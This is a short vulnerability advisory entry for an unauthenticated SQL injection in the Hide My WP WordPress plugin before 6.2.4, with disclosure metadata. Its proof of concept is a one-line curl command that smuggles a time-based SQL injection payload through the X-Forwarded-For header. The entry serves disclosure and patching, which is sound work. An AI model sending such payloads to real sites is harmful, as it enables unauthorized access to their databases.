WordPress Plugin Vulnerabilities

Hide My WP < 6.2.4 - Unauthenticated SQLi

Description

The plugin does not validate and escape the IP address retrieved from headers before using it in SQL statement, which could allow unauthenticated attackers to perform SQL Injection attacks

Proof of Concept

curl -k --location --request GET "https://example.com.com" --header "X-Forwarded-For: 1'+(select*from(select(sleep(20)))a)+'"

Affects Plugins

Fixed in 6.2.4

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Dave Jong
Verified
No

Timeline

Publicly Published
2021-11-24 (about 2 years ago)
Added
2022-11-30 (about 1 years ago)
Last Updated
2022-11-30 (about 1 years ago)

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